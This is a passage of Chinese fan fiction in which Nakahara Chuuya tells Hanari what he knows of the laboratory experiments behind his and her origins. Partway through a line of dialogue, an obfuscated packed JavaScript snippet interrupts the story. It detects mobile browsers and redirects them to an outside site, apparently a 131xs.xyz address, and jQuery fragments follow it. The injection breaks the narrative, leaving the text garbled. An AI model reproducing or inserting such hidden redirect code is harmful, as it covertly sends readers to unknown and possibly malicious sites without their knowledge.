说到底,她就不像是一个Mafia该有的样子。中原中也扯了扯嘴角。斜睨了她一眼。 那种……对某些事过分天真,对某些事又本能警惕的矛盾样子,很难不让人多想。 花理:“……”原来在前辈眼里,她一直像神秘派的吗。 “真正让我起疑心的,”中也的语气带上了一点嘲弄,“是你今晚的讯息。” “绵津见。普通人除非另有目的,是不会对这种实验室感兴趣的。” “所以,”中原中也重新看向她,目光变得复杂,里面糅合了审视、一丝不易察觉的对同类的怜悯般的神色,以及身为前辈的某种责任感,“当我听说你跑去查那些陈年旧事,还找了侦探社的人,就大概猜到是为什么了。” 花理:“……” 她弱弱举手:“那背叛……?” “啊,我诈你的。”中原中也轻描淡写地说。 花理:“……”可恶。 “你只是想知道自己是谁。”他扯了扯嘴角,似乎想笑一下,但没成功,“这算不上背叛……至少在我这里不算。” 花理大大地松了口气,感觉压在心口的巨石瞬间挪开了大半。太好了!……至少不会被重力碾压了! “那……那个实验?”花理急切地追问,这是她最关心的核心,“您知道更多吗?关于……我?” 中也沉默了几秒,似乎在组织语言,又像是在回忆某些不那么愉快的过往。但迎上花理期冀的目光,顿了顿,还是点了点头。 “我是在八年前,在那场……事故里诞生的。”他省略了开头结尾,简截了当地说,“「荒霸吐」的载体。”他语气漠然,仿佛在说别人的事。 “至于你……”他停顿了一下,帽檐下的眼神锐利地扫过花理,“你的情况,有点特殊。” 花理的心再次提了起来:“特殊?” “嗯。”中原中也点头,语气带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170569|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种不容置疑的肯定,“我「醒来」是八年前,而你……”他上下打量了她一下,“半年前才被森先生带回□□。档案一片空白,像是凭空出现。” “那……所谓的「另一个作品」呢?乱步先生说的……”花理不死心地追问。 中也沉吟片刻:“关于那个……我确实知道一点。大概六年前左右的事。” “六年前?”花理的心跳加速。 “嗯。”中原中也点头,“那几年,实验室的残余资料和人员还没被彻底清理干净。我有几个……朋友,”他说到「朋友」时,声音有极其细微的停顿,花理敏锐地捕捉到一丝沉痛,“他们……对过去的事很在意,私下里一直在调查。” 花理屏住呼吸。 “他查到,在我之后大概六年,实验室似乎重启过一个项目。目标不再是我这种纯粹的破坏性力量,而是试图引导或模拟某种……更偏向「守序」方向的力量。具体指向不明,但……” 中原中也的目光再次落在花理身上,抿了抿嘴,意外的有种不愿承认或是怜悯的语气:“「绵津见命」这个名字,出现在他们截获的零星资料里。” 花理感觉自己的血液似乎在瞬间凝固了。绵津见命……与「荒霸吐」截然不同的神格。 ……她的名字。 “这个项目的产物,”中也的声音毫无波澜,却字字敲在花理心上,“据他们的调查,是一个……实验体。年龄大约在13岁左右,女性。”他顿了顿,似乎在回忆那份尘封的报告: “但那次实验被记录为「失败」。报告里提到,实验体力量极不稳定,且引发了强烈的能量反噬和污染。” “几乎是历史重演,那个实验体似乎彻底失控,导致实验室发生了二次塌陷,一切都被掩埋了。没有证据显示她被带走或者存活下来。” “彻底……失败了?”花理喃喃道,心里说不出是失望还是松了口气。 “对,失败了。”中原中也确认道,语气里带着一丝对漠然和嘲弄,大概是对实验室的厌恶。他侧过头看向花理,“那片废墟下面更深的地方,可能还埋着那次失败的残骸。但没人再去挖了。总之,是一次彻底失败的尝试。” 他看向花理:“这就是我知道的全部。” 中原中也微微蹙眉:“所以,你觉得自己就是那个「绵津见命」的实验体?” 花理脸色正在变换不定,闻言“唔”了一声,幽幽回望过去。 时间确实有蹊跷……但她还能不是吗?线索证据都怼脸上了……中原中也好歹名字里不带「荒霸吐」,她可是实实在在地真叫「绵津见」啊! 在花理无言的注视中,中原中也摸了摸鼻子,收回了视线,轻咳一声。 她除了异能,没有表现出其他的能力……更别说身为神明的力量,所以,她是身为「失败品」吗? 看着花理呆立当场,中原中也似乎觉得气氛过于沉重。他忽然抬起手,有些生涩地拍了一下花理僵硬的头。 那力道不轻,拍得花理一个趔趄,差点摔倒。她眯着眼盯回去,心情仍然复杂。 “喂,回神了。”他声音有些飘忽,但还是努力地试图「宽慰」她,“别摆出那副天塌下来的表情。就算你真是实验室出来的又怎样?” “……其实也不怎么样。”反正她也没当真,只有一点点的、略微的悲伤。 中原中也嗤笑一声,挑了挑眉,看着恢复平常样子的花理,收回手,转身朝离开的方向走去,只留下一句带着点别扭、却又奇异地驱散了部分阴霾的话: “走吧。回去了。”